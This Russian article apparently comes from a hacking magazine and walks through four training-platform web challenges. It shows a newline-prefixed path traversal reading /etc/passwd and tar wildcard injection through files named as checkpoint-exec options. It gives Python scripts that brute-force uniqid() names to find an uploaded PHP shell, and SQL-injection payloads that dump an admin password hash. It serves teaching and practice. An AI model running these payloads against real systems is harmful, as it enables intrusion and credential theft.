Категория > Новости > Роковые ошибки. Как искать логические уязвимости в веб-приложениях - «Новости»

Роковые ошибки. Как искать логические уязвимости в веб-приложениях - «Новости»


13-01-2021, 00:00. Автор: Эдуард
за­писы­вай­ся на мой курс по безопас­ности веб-при­ложе­ний!

Сра­зу пре­дуп­режу, что боль­шинс­тво задач, которые мы сегод­ня раз­берем, будут на язы­ке PHP. Оно нес­прос­та — подав­ляющее боль­шинс­тво сай­тов и сер­висов в интерне­те написа­ны имен­но на нем. Так что, нес­мотря на под­порчен­ную репута­цию это­го язы­ка, тебе при­дет­ся раз­бирать­ся в нем, что­бы хакерс­тво­вать серь­езно. Сей­час же, в рам­ках это­го занятия, зна­ние PHP не явля­ется необ­ходимостью, но, конеч­но, будет очень серь­езным под­спорь­ем.


Впро­чем, боль­шинс­тво уяз­вимос­тей не при­вяза­ны к кон­крет­ному язы­ку или сте­ку тех­нологий, так что, узнав их на при­мере PHP, ты лег­ко смо­жешь экс­плу­ати­ровать подоб­ные баги и в ASP.NET, и в каком-нибудь Node.JS.


А еще пре­дуп­режу, что задач­ки, которые мы сегод­ня раз­берем, не сов­сем началь­ного уров­ня и сов­сем уж «вален­кам» тут делать нечего — сна­чала сто­ит почитать мат­часть и хоть нем­ного пред­став­лять, с чем хочешь иметь дело. Если же ты можешь отли­чить HTTP от XML и у тебя не воз­ника­ет воп­росов вида «а что за дол­лары в коде?», то доб­ро пожало­вать!



warning


Ни автор кур­са, ни редак­ция «Хакера» не несут ответс­твен­ности за твои дей­ствия. При­мене­ние матери­алов этой статьи про­тив любой сис­темы без раз­решения ее вла­дель­ца прес­леду­ется по закону.



Се­год­ня мы раз­берем нес­коль­ко задач, которые я решал сам в рам­ках тре­ниров­ки. Воз­можно, они покажут­ся тебе слож­ными, но не пугай­ся — всег­да есть воз­можность отто­чить свои навыки на сай­тах пра­витель­ств спе­циали­зиро­ван­ных сай­тах для хакеров. Я сей­час говорю о HackTheBox и Root-me, которы­ми поль­зуюсь сам и вся­чес­ки советую дру­гим. Две из сегод­няшних задач взя­ты имен­но отту­да.


Задача 1


Сна­чала я при­веду код, с которым мы сей­час будем работать.


$file = rawurldecode($_REQUEST['file']);$file = preg_replace('/^.+[/]/', $file);include("/inc/{$file}");?>

По сути, тут все­го три стро­ки кода. Казалось бы, где тут может зак­расть­ся уяз­вимость?


Что­бы это понять, давай раз­берем алго­ритм, который здесь реали­зован. Вооб­ще, при ауди­те кода сто­ит уметь читать его пос­троч­но. Тог­да про­ще понять, что имен­но может пой­ти не так.


  1. Сна­чала в перемен­ную $file помеща­ется параметр file из URL-зап­роса. Если URL имел вид https://xakep.ru/example?file=test.php, то $_REQUEST['file'] будет содер­жать test.php.


  2. За­тем резуль­тат валиди­рует­ся. Это нуж­но, что­бы нель­зя было передать пос­ледова­тель­нос­ти вида ../../../../etc/passwd и про­читать чужие фай­лы. Безопас­ность реали­зова­на регуляр­кой: в выход попадет все пос­ле пос­ледне­го сле­ша, то есть оста­нет­ся толь­ко passwd, которо­го, конеч­но, в рабочей пап­ке не ока­жет­ся.


  3. В кон­це очи­щен­ное имя фай­ла под­став­ляет­ся в путь и заг­ружа­ется файл с этим име­нем. Ничего пло­хого.


Итак, что может пой­ти не по пла­ну?


Как ты уже, конеч­но, догадал­ся — проб­лема в фун­кции очис­тки вво­да (которая preg_replace). Давай обра­тим­ся к пер­вой попав­шей­ся шпар­галке по регуляр­ным выраже­ниям.


Шпар­галка

Тут пря­мо написан ответ, как обой­ти защиту (под­сказ­ка: ищи спра­ва).


Ви­дишь точ­ку? А шапоч­ку (^)? Та стро­ка чита­ется как «если в начале стро­ки находит­ся любое количес­тво любых сим­волов, кро­ме перено­са стро­ки, и это закан­чива­ется сле­шем, уда­лить соот­ветс­тву­ющую часть стро­ки».


Клю­чевое тут «кро­ме перено­са стро­ки». Если в начале стро­ки будет перенос стро­ки — регуляр­ка не отра­бота­ет и вве­ден­ная стро­ка попадет в include() без филь­тра­ции.



info


На самом деле нор­маль­ные PHP-шни­ки так фай­лы не под­гру­жают. Рас­смот­ренная задача — прос­то при­мер, хотя, по лич­ному опы­ту, даже такие без­надеж­но небезо­пас­ные прог­раммы до сих пор неред­ко встре­чают­ся. В край­нем слу­чае, мож­но поп­робовать най­ти под­домены вида old.company.com или oldsite.company.com, на которых порой кру­тят­ся вер­сии сай­та десяти­лет­ней дав­ности с хрес­томатий­ными уяз­вимос­тями.



Собс­твен­но при­мер чте­ния фай­ла: http://test.host/lfi.php?file=%0a../../../../etc/passwd.


Ре­зуль­тат

Задача 2


Это за­дач­ка с root-me, где ты, воз­можно, уже видел ее. Но мы все рав­но рас­смот­рим ее под­робнее — она отно­сит­ся к реалис­тичным, и шан­сы встре­тить что-то подоб­ное в жиз­ни немалень­кие.


В задании нам дает­ся прос­той фай­лооб­менник и про­сят получить дос­туп к панели адми­на.


Ин­терфейс фай­лооб­менни­ка

Ин­терфейс край­не прост: есть кноп­ка заг­рузки фай­ла на сер­вер и прос­мотр заг­ружен­ных фай­лов по пря­мым ссыл­кам. Забегая впе­ред, ска­жу, что гру­зить скрип­ты на PHP, bash и про­чие — бес­полез­но, про­вер­ки реали­зова­ны вер­но и ошиб­ка в дру­гом мес­те.


Об­рати вни­мание на ниж­нюю часть стра­ницы, а точ­нее — на фра­зу «frequent backups: this opensource script is launched every 5 minutes for saving your files». И при­веде­на ссыл­ка на скрипт, вызыва­емый каж­дые пять минут в сис­теме.


Да­вай гля­нем на него прис­таль­нее:


BASEPATH=$(dirname `readlink -f "$0"`)BASEPATH=$(dirname "$BASEPATH")cd "$BASEPATH/tmp/upload/$1"tar cvf "$BASEPATH/tmp/save/$1.tar" *

Ка­залось бы — что тут такого? На парамет­ры ты вли­ять не можешь, а ман­тру при­зыва tar вооб­ще зна­ешь как свои пять паль­цев. А проб­лема в самой ман­тре: тут она написа­на не пол­ностью. Точ­нее, не в том виде, как ее уви­дит сам tar.


Что дела­ет звез­дочка? Вмес­то нее bash под­ста­вит име­на всех фай­лов в текущей пап­ке. Вро­де ничего кри­миналь­ного.


А давай обра­тим­ся к ма­нуалу на Tar, который нам любез­но пре­дос­тавлен вмес­те с усло­вием задачи.


Роковые ошибки. Как искать логические уязвимости в веб-приложениях - «Новости»
Ин­терес­ности в Tar

Вот это мес­то пред­став­ляет для нас самый боль­шой инте­рес. Дело в том, что tar име­ет нес­коль­ко осо­бых воз­можнос­тей для гиб­кого монито­рин­га про­цес­са архи­вации со сто­роны. Это дос­тига­ется с помощью так называ­емых чек-пой­нтов, у которых могут быть свои опре­делен­ные дей­ствия. Одно из дей­ствий — exec=command, которое при дос­тижении чек-пой­нта выпол­нит коман­ду command с помощью стан­дар­тно­го шел­ла.


Те­перь вспом­ним про звез­дочку: вмес­то нее шелл (bash) под­ста­вит спи­сок всех фай­лов в текущей пап­ке, при этом они могут иметь любые име­на. В том чис­ле такие, которые будут вос­при­няты архи­вато­ром как спе­циаль­ные парамет­ры.


Та­ким обра­зом, нам надо под­сунуть фай­лы с име­нами в виде аргу­мен­тов tar. Я исполь­зовал такие: --checkpoint=1, --checkpoint-action=exec=sh shell.sh (пус­тые) и shell.sh (полез­ная наг­рузка). В shell.sh находит­ся сле­дующий код:


#!/bin/sh
cp ../../../admin/index.php ./

Прос­то заголо­вок и коман­да копиро­вания админ­ской панели в текущую пап­ку. Естес­твен­но, тут мог быть реверс-шелл или еще что-то, но для решения кон­крет­но этой задачи такая «тяжелая артилле­рия» не нуж­на.


Те­перь дожида­емся выпол­нения нашего шел­ла — и уви­дим в окне фай­лооб­менни­ка файл админ-панели в виде прос­того тек­ста. Оста­лось толь­ко открыть его и най­ти там пароль!


Па­роль в чис­том виде

Задача 3


Тут у нас пла­гин для WordPress, который поз­воля­ет запись аудио и видео.


Я не буду про­сить тебя най­ти уяз­вимость, а сра­зу покажу ее.


Уяз­вимое мес­то

Как вид­но из строк 247–251 на скрин­шоте, не пре­дус­мотре­но никаких про­верок на тип или содер­жимое фай­ла — это прос­то клас­сичес­кая заг­рузка!


Есть, прав­да, огра­ниче­ние: файл гру­зит­ся в стан­дар­тную дирек­торию WordPress (/wordpress/wp-content/uploads/{YEAR}/{MONTH}). Это зна­чит, что лис­тинг содер­жимого нам по умол­чанию недос­тупен. А в стро­ке 247 генери­рует­ся слу­чай­ный иден­тифика­тор, который под­став­ляет­ся в начало име­ни фай­ла, то есть обра­тить­ся к /wordpress/wp-content/uploads/2021/01/shell.php уже не вый­дет. Непоря­док!


Но непоря­док не в том, что имя фай­ла меня­ется, а в том, что дела­ется это с помощью фун­кции uniqid(). Обра­тим­ся к до­кумен­тации:



По­луча­ет уни­каль­ный иден­тифика­тор с пре­фик­сом, осно­ван­ный на текущем вре­мени в мик­росекун­дах.


<…>


Вни­мание. Эта фун­кция не гаран­тиру­ет получе­ния уни­каль­ного зна­чения. Боль­шинс­тво опе­раци­онных сис­тем син­хро­низи­рует вре­мя с NTP либо его ана­лога­ми, так что сис­темное вре­мя пос­тоян­но меня­ется. Сле­дова­тель­но, воз­можна ситу­ация, ког­да эта фун­кция вер­нет неуни­каль­ный иден­тифика­тор для про­цес­са/потока. <…>



Сме­каешь? Уни­каль­ный иден­тифика­тор, получен­ный с помощью uniqid(), не такой уж уни­каль­ный, и это мож­но про­экс­плу­ати­ровать. Зная вре­мя вызова, мы можем уга­дать воз­вра­щаемое зна­чение uniqid() и узнать реаль­ный путь к фай­лу!


Так как PHP — про­ект откры­тый, мы можем под­смот­реть исходни­ки фун­кций стан­дар­тной биб­лиоте­ки. Откры­ваем исходник uniqid() на GitHub, перехо­дим к стро­ке 76 и наб­люда­ем сле­дующее:


uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);

Что тут про­исхо­дит? А то, что воз­вра­щаемое зна­чение зависит исклю­читель­но от текуще­го вре­мени, которое в рам­ках одной пла­неты впол­не пред­ска­зуемо.


Хоть выход­ная пос­ледова­тель­ность и выг­лядит слу­чай­ной, она таковой не явля­ется. Что­бы не быть голос­ловным, вот при­мер име­ни фай­ла, сге­нери­рован­ного таким алго­рит­мом:


5ff21d43dbbab_shell.php

По­лучен­ное зна­чение лег­ко мож­но кон­верти­ровать обратно в дату и вре­мя его генера­ции:


echo date("r", hexdec(substr("5ff21d43dbbab", 0, 8)));
// Sun, 03 Jan 2021 11:38:43 -0800

Ко­неч­но, бру­тить все 13 сим­волов — вши заедят, но у нас есть спо­соб получ­ше: мы можем проб­рутить вари­анты на осно­ве вре­мени заг­рузки плюс-минус пол­секун­ды, что­бы нивели­ровать раз­бежки часов на кли­енте и сер­вере. А мож­но прос­то поверить, что часы у обо­их хос­тов точ­ные, а зна­чит, мож­но про­верить не мил­лион вари­антов (1 секун­ду), а толь­ко вари­анты, воз­можные меж­ду вре­менем отправ­ки зап­роса и вре­менем получе­ния отве­та. На шус­тром канале это будет поряд­ка 300–700 мс, что не так и мно­го.



info


Ко­неч­но, не все реаль­ные кей­сы тре­буют глу­боких поз­наний в PHP или дру­гом сер­верном язы­ке. Мно­гие ошиб­ки мож­но най­ти, даже не откры­вая код — с помощью авто­мати­чес­ких ска­неров. Под­робнее о них — в на­шей статье об авто­мати­чес­ком взло­ме. Они здо­рово помога­ют, так что не грех иметь пароч­ку под рукой для экс­пресс-ана­лиза!



Я наб­росал прос­той скрипт на Python для демонс­тра­ции такой воз­можнос­ти. Его код пред­став­лен ниже:


#!/usr/bin/env python3
import requests, time
url = 'http://example.host/wordpress/wp-admin/admin-ajax.php'
data = {
'audio-filename': 'file.php',
'action': 'save_record',
'course_id': 'undefined',
'unit_id': 'undefined',
}
files = {
'audio-blob': open('pi.php.txt', 'rb')
}
print(time.time()) # Время отправки запроса
r = requests.post(url, data=data, files=files)
print(time.time()) # Время ответа
print(r.headers)

Нам нуж­но запус­тить его нес­коль­ко раз, что­бы подоб­рать минималь­ное вре­мя меж­ду отправ­кой зап­роса и получе­нием отве­та — это поз­волит умень­шить вре­мя перебо­ра.


Так­же нуж­но пом­нить, что раз­бежки все же могут быть, и чис­то на вся­кий слу­чай сто­ит про­верить, нас­коль­ко локаль­ное вре­мя соот­ветс­тву­ет вре­мени на сер­вере. Час­тень­ко оно воз­вра­щает­ся сер­вером в заголов­ке Last-Modified и поз­воля­ет понять, какую величи­ну кор­рекции внес­ти в свои рас­четы.


Те­перь бру­тим:


import sys, timetry:
from queue import Queue, Emptyexcept:
from Queue import Queue, Emptynumber = Queue()timestamp = 100000000 # your timestamp heredef main():
try:hextime = format(timestamp, '8x')while number:try:n = number.get(False)hexusec = format((n), '5x')print("%s%s" % (hextime, hexusec))except:exit()
except Exception as e:print(" Exception main", e)raise
try:for num in range(100000, 900000): # your us herenumber.put(num)main()
except KeyboardInterrupt:print("nCancelled by user!")

Как бы еще опти­мизи­ровать перебор?


Ну, во-пер­вых, питон сам по себе очень мед­ленный и, конеч­но, не смог бы выпол­нить соеди­нение, переда­чу заголов­ков, отправ­ку фай­ла и про­чие мел­кие нак­ладные рас­ходы в тот же момент. А интер­пре­татор PHP на сто­роне сер­вера едва ли момен­таль­но про­верит пра­ва, запус­тит скрипт, отра­бота­ет слу­жеб­ные фун­кции и дой­дет до собс­твен­но уяз­вимого мес­та. Тут мож­но накинуть эдак тысяч сто мик­росекунд без малей­ших потерь.


Во-вто­рых, выпол­нение uniqid() оче­вид­но про­исхо­дит не в самом кон­це фун­кции. Еще нуж­но вре­мя на обра­бот­ку заг­ружен­ного фай­ла, запись отве­та (заголов­ков), отправ­ку это­го все­го по сети и на обра­бот­ку отве­та интер­пре­тато­ром Python. Тут тоже мож­но поряд­ка 100 000 мик­росекунд вычесть.


Вот так на ров­ном мес­те мы сок­ратили перебор на 200 000 зап­росов. Мно­го это или мало? В моем слу­чае это сок­ратило количес­тво зап­росов еще при­мер­но на треть.


Ос­талось поряд­ка 500 000 вари­антов, которые мож­но переб­рать в пре­делах часа или даже мень­ше — у меня это заняло минут 15.


Те­перь давай напишем еще один скрипт, который и будет искать наш шелл с исполь­зовани­ем это­го алго­рит­ма:


import timeimport threadingimport requestsfrom threading import Locktry:
from queue import Queue, Emptyexcept:
from Queue import Queue, Emptynumber = Queue()thread_count = 500timestamp = 100000000 # your timestamp heredef main():
try:hextime = format(timestamp, '8x')while not finished.isSet():try:n = number.get(False)hexusec = format((n), '5x')uniqid = hextime + hexusecans = requests.get('http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))if ans.status_code == 200:print('Shell: http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))exit()except Empty:finished.set()exit()
except Exception as e:print(" Exception main", e)raise
try:for num in range(100000, 900000): # your us here, including range limits describednumber.put(num)finished = threading.Event()for i in range(thread_count)t = threading.Thread(target=main)t.start()
except KeyboardInterrupt:print("nCancelled by user!")

Вот и всё: запус­каешь, через некото­рое вре­мя получа­ешь путь, и хост зах­вачен!


На­вер­няка у тебя воз­ник воп­рос, нель­зя ли как-то еще усо­вер­шенс­тво­вать этот перебор, потому что 500 тысяч вари­антов — это все рав­но как-то мно­гова­то? Мож­но, но такого зна­чимо­го уско­рения, как рань­ше, уже не будет. Суть в том, что мож­но идти не от начала про­межут­ка вре­мени к кон­цу, а от середи­ны к кра­ям. По опы­ту, это работа­ет нес­коль­ко быс­трее.



Другой способ


Есть и спо­соб поп­роще. Зак­люча­ется он в сле­дующем: новый путь к фай­лу фор­миру­ется как <стандартная папка загрузок> + <РЅРѕРІРѕРµ РёРјСЏ файла>. При этом новое имя фай­ла рав­но uniqid() + "_" + <РёРјСЏ файла РѕС‚ пользователя>. Валида­ции поль­зователь­ско­го име­ни не про­исхо­дит, так что мы можем в конеч­ном ито­ге зас­тавить перемес­тить файл по пути <папка загрузок> + <случайное значение> + "_/../shell.php", передав в име­ни зна­чение /../shell.php. Теперь наш шелл ста­нет дос­тупен по извес­тно­му пути <путь Рє текущему wp-upload>/shell.php.


Задача 4


Пос­ледняя на сегод­ня задач­ка — тоже с root-me и тоже из катего­рии реалис­тичных, но замет­но пос­ложнее. Сер­вис Web TV — новей­шая фран­цуз­ская раз­работ­ка в сфе­ре интернет-телеви­дения. Но нас инте­ресу­ет не новая дешевая тра­гедия, а админка.


Глав­ная стра­ница Web TV. Прос­тите за мой фран­цуз­ский

Толь­ко — вот незада­ча — Gobuster никаких приз­наков админки не обна­ружил. При­дет­ся изу­чать, что нам дос­тупно. А дос­тупен логин (там фор­ма авто­риза­ции) и ссыл­ка на нерабо­тающий эфир.


Поп­робу­ем залоги­нить­ся и перех­ватить зап­рос на авто­риза­цию с помощью Burp.


Бук­ва З в сло­ве «реаль­ность» озна­чает «защищен­ность»

Зап­рос отправ­ляем в Repeater (пов­торитель). Пусть пока там полежит.


Взгля­нем еще разок на фор­му логина. Какие мыс­ли тебя посеща­ют, ког­да ты видишь фор­му для авто­риза­ции? Конеч­но, SQL-инъ­екция! А давай ткнем туда кавыч­ку. Написа­ли. Отправ­ляем. Хм, ничего не поменя­лось. А как вооб­ще узнать, что что-то поменя­лось? Смот­ри на заголо­вок Content-Length в отве­те: в нашем слу­чае там при­ходит ров­но 2079 байт, если инъ­екции не было, и, оче­вид­но, при­дет силь­но дру­гой резуль­тат в про­тив­ном слу­чае. Я поп­робовал еще нем­ного, и инъ­екция так прос­то не выяви­лась, так что давай поищем в дру­гом мес­те, а потом вер­немся к это­му зап­росу.


Те­перь пос­мотрим в адресную стро­ку. Похоже, на сер­вере вклю­чен mod_rewrite, пос­коль­ку имен фай­лов не вид­но. Походим нем­ного по сай­ту, запоми­ная вари­анты URL в адресной стро­ке. Наб­люда­ем /page_login, /page_tv, /page_accueil. Зна­чит, /page_ — ско­рее все­го, имя мас­сива. Во вся­ком слу­чае, на моем опы­те это обыч­но так. А если пос­ле /page_ передать что-то кор­рек­тное, но не ожи­даемое сер­вером?


Я поп­робовал перей­ти на стра­ницу /page_index и получил ошиб­ку как на скри­не ниже.


Ошиб­ка интер­пре­тато­ра

В пер­вом сооб­щении об ошиб­ке вид­на часть пути (corp_pages/fr/index), которая закан­чива­ется на то же, что переда­но в URL пос­ле /page_. Про­верим нашу догад­ку — перей­дем по пути /page_xakep.php.


И дей­стви­тель­но — сайт прос­то под­став­ляет параметр в путь и пыта­ется про­читать несущес­тву­ющий файл xakep.php. Поль­зователь­ский ввод под­став­ляет­ся в путь — зна­чит, у нас есть воз­можность повесе­лить­ся на сер­вере!


Ме­тодом науч­ного тыка был обна­ружен параметр /?action=. Он ока­зал­ся поч­ти такой же по дей­ствию, как /page_. Поп­робу­ем про­читать index.php в кор­не сай­та.


/?action=../../index.php

Вид­но не все, но если открыть ответ в Burp или даже прос­то прос­мотреть код стра­ницы бра­узе­ром — откры­вает­ся пол­ный исходник. Вот тебе и directory traversal налицо.


Ре­зуль­тат обхо­да катало­га

Пом­нишь, мы не мог­ли най­ти путь к админке? А на скрин­шоте он есть: имен­но на него будет редирект, ког­да скрипт про­верит логин и пароль.



info


Взгля­нем попод­робнее на фун­кцию safe. Она при­нима­ет некото­рую стро­ку, экра­ниру­ет спец­симво­лы и, опци­ональ­но, уда­ляет спец­симво­лы HTML (если вто­рой параметр равен 1). Экра­ниро­вание спец­симво­лов дела­ется фун­кци­ей addslashes, которая без проб­лем обхо­дит­ся с помощью муль­тибай­товой кодиров­ки, нап­ример китай­ской. Все было бы сов­сем радуж­но, если бы сер­вер под­держи­вал нуж­ную кодиров­ку, но, к сожале­нию, у нас это­го нет.



Да­вай, не отхо­дя от кас­сы, сра­зу и его про­чита­ем — вдруг там что-нибудь инте­рес­ное есть.


require_once '../inc/config.php';function decrypt($str, $key) {
$iv = substr( md5("hacker",true), 0, 8 );
return mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv );}$msg="";$user="";if (isset($_GET["logout"])) $_SESSION['logged']=0;if (isset($_GET["user"]) && preg_match("/^[a-zA-Z0-9]+$/",$_GET["user"])){
$user=$_GET["user"];} else {
$msg="<p>hack detected !p>";
$_SESSION['logged']=0;}if ($_SESSION['logged']==1) {
$Validation="4/lOF/4ZMmdPxlFjZD63nA==";
if ($result = $db->query("SELECT passwd FROM users WHERE login='$user'")) {if($result->num_rows > 0){$data = $result->fetch_assoc();$key=base64_encode($data['passwd']);$msg=$text['felicitation'].decrypt(base64_decode($Validation),$key);} else {$msg="<p>no such userp>";$_SESSION['logged']=0;}$result->close();
} else{$msg="<p>ERREUR SQLp>";$db->close();exit();
}} else {
header("Location: ../index.php");
$db->close();
exit();}$db->close();?>

Код успешно про­читан, и вид­на инте­рес­ная фун­кция decrypt, при­нима­ющая некую стро­ку и ключ.


Ес­ли даль­ше про­читать код, то вид­на защита от спец­симво­лов в име­ни поль­зовате­ля, потом из базы извле­кает­ся пароль и рас­шифро­выва­ется фун­кци­ей выше. Казалось бы — вот оно, но сна­чала надо выяс­нить имя поль­зовате­ля, которо­го у нас пока нет. Забегая впе­ред: все баги, которые есть в этом при­ложе­нии, находят­ся в двух рас­смот­ренных фай­лах, и дру­гих тут нет.


Те­перь, что­бы экс­плу­ати­ровать даль­ше, давай вер­немся к прош­лому фай­лу и рас­смот­рим его код еще раз.



$passwd=sha1($_POST['pass'],true); # Хеширование
$username=safe($_POST['login']); # Извлечение юзернейма
$sql="SELECT login FROM $tableWHERE passwd='$passwd' AND login='$username'";
<...>}

Прис­мотрись к вызову фун­кции хеширо­вания: пом­нишь ли ты, что озна­чает вто­рой параметр (true) в фун­кции sha1? Я тоже нет, так что давай пос­мотрим ма­нуал:



Спи­сок парамет­ров


string


Вход­ная стро­ка.


binary


Ес­ли необя­затель­ный аргу­мент binary име­ет зна­чение true, хеш воз­вра­щает­ся в виде бинар­ной стро­ки из 20 сим­волов, ина­че он будет воз­вра­щен в виде 40-сим­воль­ного шес­тнад­цатерич­ного чис­ла.


<…>



То есть вер­нется некото­рая бинар­ная пос­ледова­тель­ность, которая будет рас­позна­на как стро­ка. Нам нуж­но, что­бы пос­ледний байт был равен 5c, что в ASCII рав­но бэк­сле­шу. Тог­да в SQL-зап­росе зак­рыва­ющая кавыч­ка пос­ле пароля будет экра­ниро­вана и мы смо­жем под­ста­вить в логин про­изволь­ный SQL-код! Пос­ле подоб­ной под­ста­нов­ки наш зап­рос может выг­лядеть как-то так:


И для это­го нуж­но толь­ко подоб­рать такой сим­вол из муль­тибай­товой кодиров­ки, что­бы его пос­ледний байт был равен 5c. А в нашем слу­чае нуж­но подоб­рать такой пароль, хеш которо­го закан­чивал­ся бы на 5c. Это уже про­ще прос­того — ведь мы не огра­ниче­ны в том, что переда­ем в фун­кцию. Я написал для это­го прос­той скрипт на PHP.


for ($i = 1; $i <= 10000; $i++) {$hash = sha1($i);if (substr($hash, 38, 2) == "5c") {echo $i." - ";die(sha1($i, true));} }?>

На самом деле даже 10 000 вари­антов — овер­килл, потому что 5c — это один байт, а так как выход­ная пос­ледова­тель­ность хеш-фун­кции псев­дослу­чай­на, то понадо­бит­ся при­мер­но 256 попыток, если не будет дуб­лей. Я же перес­тра­ховал­ся.


Вы­пол­нилось все очень быс­тро — подош­ло уже чис­ло 17. Теперь у нас есть «пра­виль­ный» пароль. Нуж­но пос­мотреть, какая будет реак­ция сер­виса. Пом­нишь наш зап­рос на логин в Burp? Под­став­ляй в качес­тве пароля чис­ло 17, а в логин — клас­сичес­кий ORDER BY 1-- (с про­бела­ми на обо­их кон­цах). Ошиб­ки нет, все в поряд­ке. Зна­чит, полей боль­ше, чем одно. Пос­тавим что-нибудь боль­ше — 111, нап­ример. Выпол­няем — и вот у нас ошиб­ка, зна­чит SQL-инъ­екция работа­ет!


Пе­чаль­но, прав­да, что никако­го резуль­тата из зап­роса не выводит­ся. Как это побороть? Исполь­зовать любые шаб­лоны time-based, boolean-based или error-based.


Мой любимый payload в таких слу­чаях — AND extractvalue(1,concat(0x3a,(select version() from users limit 0,1))). На вся­кий слу­чай заменим про­белы на плю­сы, под­ста­вим в поле логина в Burp и отпра­вим зап­рос. Видим в отве­те сле­дующее:


SQL error :XPATH syntax error: ':5.7.32-0ubuntu0.16.04.1'

Инъ­екция работа­ет, пусть и выводит не боль­ше 31 сим­вола за раз. А нам боль­шего и не надо. Видо­изме­ним инъ­екцию нем­ного, что­бы получить логин:


AND extractvalue(1,concat(0x3a,(select login from users limit 0,1)))

От­вет:


SQL error :XPATH syntax error: ':administrateur'

И теперь пароль:


AND extractvalue(1,concat(0x3a,(select passwd from users limit 0,1)))

И вот он:


SQL error :XPATH syntax error: ':e79c4da4f94b86cba5a81ba39fed083'

Но не все так прос­то. Как ты пом­нишь, дли­на хеша SHA-1 в шес­тнад­цатерич­ной кодиров­ке — 40 сим­волов, а нам вер­нулись 31. Непоря­док! Что­бы это испра­вить, прос­то возь­мем фун­кцию right:


AND extractvalue(1,concat(0x3a,(select right(passwd,20) from users limit 0,1)))

И вот наши пос­ледние 20 сим­волов:


SQL error :XPATH syntax error: ':1ba39fed083dbaf8bce5'

Пол­ный хеш — e79c4da4f94b86cba5a81ba39fed083dbaf8bce5.


Даль­ше нуж­но обой­ти про­вер­ки в logged.php. Пос­ле некото­рых упро­щений и очис­тки его кода от мусора полез­ный вари­ант будет выг­лядеть так:



$iv = substr(md5("hacker",true), 0, 8);
return mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv);}$Validation = "4/lOF/4ZMmdPxlFjZD63nA==";$key = base64_encode('e79c4da4f94b86cba5a81ba39fed083dbaf8bce5');echo decrypt(base64_decode($Validation), $key);

Это все оста­лось лишь обер­нуть в заголов­ки PHP и запус­тить — и пароль у нас в руках!


Разбор этих задач на вебинаре (видео)



На­пос­ледок напом­ню еще раз, что 18 янва­ря 2021 года я нач­ну занятия по безопас­ности веб-при­ложе­ний. Спе­ши при­соеди­нить­ся!


Перейти обратно к новости